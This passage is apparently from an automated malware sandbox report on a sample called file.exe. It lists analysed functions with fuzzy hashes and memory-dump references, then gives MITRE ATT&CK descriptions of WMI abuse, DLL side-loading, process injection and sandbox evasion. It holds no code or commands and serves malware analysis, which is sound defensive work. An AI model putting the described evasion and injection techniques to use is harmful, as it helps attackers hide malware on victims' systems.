Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88bf648f2c4b6d80df8b517bd21926b4d6cbde499bb9aad3870364290d34693
Instruction ID: 31779cd32d7cdd861afbb72a6295e4ef779397cd4545959eab6f23e9b5386774
Opcode Fuzzy Hash: d88bf648f2c4b6d80df8b517bd21926b4d6cbde499bb9aad3870364290d34693
Instruction Fuzzy Hash: 2651A173F102248BF3548D29CC983A27693DB95320F2F82788E5D6B7D9D97E6D096384

Function 065D1CBB Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bc340c44120769ea8f09f4b3c0306f28671cc958e399d0dc5c84ae55a8f95a3
Instruction ID: 969ba6618d1544e68b5a89a964833e57d5742dfb28f5708a820977fe2b7e3ef8
Opcode Fuzzy Hash: 6bc340c44120769ea8f09f4b3c0306f28671cc958e399d0dc5c84ae55a8f95a3
Instruction Fuzzy Hash: 6C316E73F1122647F3504E29CC88362B693EBD5310F2B8278CD4C5BBC9D93E6C4A9284

Function 065A833D Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3d14b3272ac7d793f455ea96c68c1f078ad80c10d4cf3a5df0784c14d1da11c
Instruction ID: d30bda621dda07e88d6bddfc2431d79167d86fd64eb8c58182f7b7eafbc588df
Opcode Fuzzy Hash: f3d14b3272ac7d793f455ea96c68c1f078ad80c10d4cf3a5df0784c14d1da11c
Instruction Fuzzy Hash: F8314AB3F215214BF3588839CD6936625839BD5324F3F83798A6DAB7C6DC7D4C0A0284

Function 065BA46F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b31c32319a282466edda0c6aef618fdf8bfa7367d47596a099ab7aba284518f
Instruction ID: abd800343ce749bf1dff1f4ca55952e39e611a6747dbc6d83f6db6ddd9879930
Opcode Fuzzy Hash: 2b31c32319a282466edda0c6aef618fdf8bfa7367d47596a099ab7aba284518f
Instruction Fuzzy Hash: C9311BB7F512214BF354887ACD9835265839BD2320F2FC3349E58ABBC9EC7D9D0A4284

Function 065B2F38 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cb0e4ff895953ffb9df5fa89ae580b2944d5b7dc5488185216e763cdc9f007a
Instruction ID: 61c2a12d6c3ea785c1a5d9ca2b43944704f91e02809ad9320fca7dec6954197d
Opcode Fuzzy Hash: 3cb0e4ff895953ffb9df5fa89ae580b2944d5b7dc5488185216e763cdc9f007a
Instruction Fuzzy Hash: 703151B7F1173647F3644874CD9836166929BA5320F2F82788E9C3BBC2D86E1D4952C0

Function 065B9A48 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbdf35a7a6c4bdb0040d4903176c7511d7778e0d57d1c8f4a15cd5565726aa09
Instruction ID: 1e323732bc8cef4912f698abaf38255ccb651407ece477152ee2ae6948bd2980
Opcode Fuzzy Hash: dbdf35a7a6c4bdb0040d4903176c7511d7778e0d57d1c8f4a15cd5565726aa09
Instruction Fuzzy Hash: 7431B3B3F2062A43F35C4C38DD693A25582C7A0320F2F42394F5AAB7C6DC7E9C411284

Function 065C3E61 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257000ee2b4c24209eee41bdbd94df8bb65c78728df1fc43c77d7f140283cc08
Instruction ID: d668f625757ac012962dcbf1901895a2d46644f8404bf8c8393d2d9ba14a07f0
Opcode Fuzzy Hash: 257000ee2b4c24209eee41bdbd94df8bb65c78728df1fc43c77d7f140283cc08
Instruction Fuzzy Hash: B12149F7E6163507F3644839CD98356654397E0310F2F86388E8CA7ACAD87E9D0602C4

Function 065C0765 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f29fc8c9982a959befada736c25b0f2aebed4ec4bdbabf3df456a44f4fdc08
Instruction ID: e2c762d7d4a0ccdc2096a6595f809d2f1fc976b6bb3b1cfdd33e7ce46dde3056
Opcode Fuzzy Hash: a4f29fc8c9982a959befada736c25b0f2aebed4ec4bdbabf3df456a44f4fdc08
Instruction Fuzzy Hash: 2A2180F7FA16294BF3544874CC653A25182C7E1325F2F82798F68AB7C5EC7E9C461280

Function 065B86A2 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac4461b237a63db66e81cfe56c6ab476136ea47c1fcf776a983041a01b50e2e0
Instruction ID: e6af111fa1c469d0e25f21f38562fd9968c11d07fd68f58ffcb56dae0f1561d6
Opcode Fuzzy Hash: ac4461b237a63db66e81cfe56c6ab476136ea47c1fcf776a983041a01b50e2e0
Instruction Fuzzy Hash: 0E2137B7F516210BF3984878DD99366258397D5324F2B83788F9D6B7C9DC7D4C0A1280

Function 065AD770 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e2536a1da14c5c73a0a04a3a0d518101fc725a5fef3484ce00dcc94e3d6c37
Instruction ID: c6279a4d95a10c23ef8557badefb5471b10320fa03fafc1b71cd2b785328d2fd
Opcode Fuzzy Hash: a0e2536a1da14c5c73a0a04a3a0d518101fc725a5fef3484ce00dcc94e3d6c37
Instruction Fuzzy Hash: 592138B3F6213447F3984825CC693A26542D7D5314F2F81798A9EAB7C2DCBE9C0A53C4

Function 065D0A74 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151ca62825f5e2fa69932535a78814dc62f27b92b03d9f75e3ca8309353b35ed
Instruction ID: d446844614f89c79b2277e183ccaf7350899b913d7b2d05cac9bdef040faa554
Opcode Fuzzy Hash: 151ca62825f5e2fa69932535a78814dc62f27b92b03d9f75e3ca8309353b35ed
Instruction Fuzzy Hash: 142136B7F616250BF3584479CC98362A1838BE5324F2F82798F19ABBC6DCBD9C055284

Function 0135480F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1516976292.0000000001349000.00000004.00000020.00020000.00000000.sdmp, Offset: 01349000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc6be63083a527b7d804b27b72482963c2660f6ef935f95d59b16a33d408c927
Instruction ID: 4fd292273bbe2a4cf879f82a2bd096abc4a5605effc838a22e6cd859bee7a812
Opcode Fuzzy Hash: bc6be63083a527b7d804b27b72482963c2660f6ef935f95d59b16a33d408c927
Instruction Fuzzy Hash: 1A2125611092D08FD307CF38D494A817FA1FF8B71A39E40DDD9C18F527C2A66542C742

Function 065B2268 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eaa398c6e8908b5b3ac5ad5abd3d492348bc6c4f0fbadd252ce9164fd71bee7
Instruction ID: 3a89ae427de1b7ad730584bfa9e9539e3e4da26a76a606124c51394899432e4e
Opcode Fuzzy Hash: 7eaa398c6e8908b5b3ac5ad5abd3d492348bc6c4f0fbadd252ce9164fd71bee7
Instruction Fuzzy Hash: AC215EB3F5122647F3581939CCA4362A2839BE5324F2F02798E5DAB7C5DC7E9C065281

Function 065A6DDF Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7410c4427a25c19da227af53af6e1e62fe49b103bb6410c623ba5690de43efd
Instruction ID: cc0ee0306fb0adb0e7ee3042e2b508314450e0dacdabb2ad7cf6dffa4236e26b
Opcode Fuzzy Hash: d7410c4427a25c19da227af53af6e1e62fe49b103bb6410c623ba5690de43efd
Instruction Fuzzy Hash: 312151B3F6512647F3684C79CD983A25583DBA1320F2F43388E586BAC5DCBE5D4A5284

Function 065C6356 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97a38164cba8b38ce4967574fffc156bb58a709e597cb2e3382cc77dd138bfe8
Instruction ID: 986f54e2801481e48c7c77c3f742d56da1864452159dde8868343d16a21054b8
Opcode Fuzzy Hash: 97a38164cba8b38ce4967574fffc156bb58a709e597cb2e3382cc77dd138bfe8
Instruction Fuzzy Hash: B62158B3E112344BF3A84838CD99362A502A7D5320F2B83798F5D7BAC9DCBD1C4952C8

Function 01379638 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, Offset: 01373000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Function 065B620A Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03cf6c6b608d25988203de0590a34f8c3ea75cd1f280d9746097880bca8659e9
Instruction ID: df738161b4aae8435c7ab85007abcf9ac4f59dfaf108fefe015dafed5e63b18a
Opcode Fuzzy Hash: 03cf6c6b608d25988203de0590a34f8c3ea75cd1f280d9746097880bca8659e9
Instruction Fuzzy Hash: 791148B3F116254BF3544979CC59362A183A7E1330F2F42788E6DABBC6D87D5D0A12C4

Function 065A1441 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ff54af379a481ff9913d98027b2ca60a98fca96a712674ff24d5ea1a2301e64
Instruction ID: 1541d81078730453a6907166683410cdcca1936ece42452cf3d8b543cd454440
Opcode Fuzzy Hash: 7ff54af379a481ff9913d98027b2ca60a98fca96a712674ff24d5ea1a2301e64
Instruction Fuzzy Hash: 5F111CB3F112254BF3944965DD94362A243DBE2324F2F82358B6C2B7C6DD3D9C0A5284

Function 06591E85 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df7cd0286099ddbbb1431baa0308ad07cebe5859e7a0c3a33846d33f9fc9174a
Instruction ID: 1d2e7c4291234b698fe1d5c1364e4ae04d16a46ed35700552e1cef730670d99f
Opcode Fuzzy Hash: df7cd0286099ddbbb1431baa0308ad07cebe5859e7a0c3a33846d33f9fc9174a
Instruction Fuzzy Hash: 8001EC3190420ECFEF659F64C1497DD77E1FF25311F000618D8828AA91D7BA0CA5CF69

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
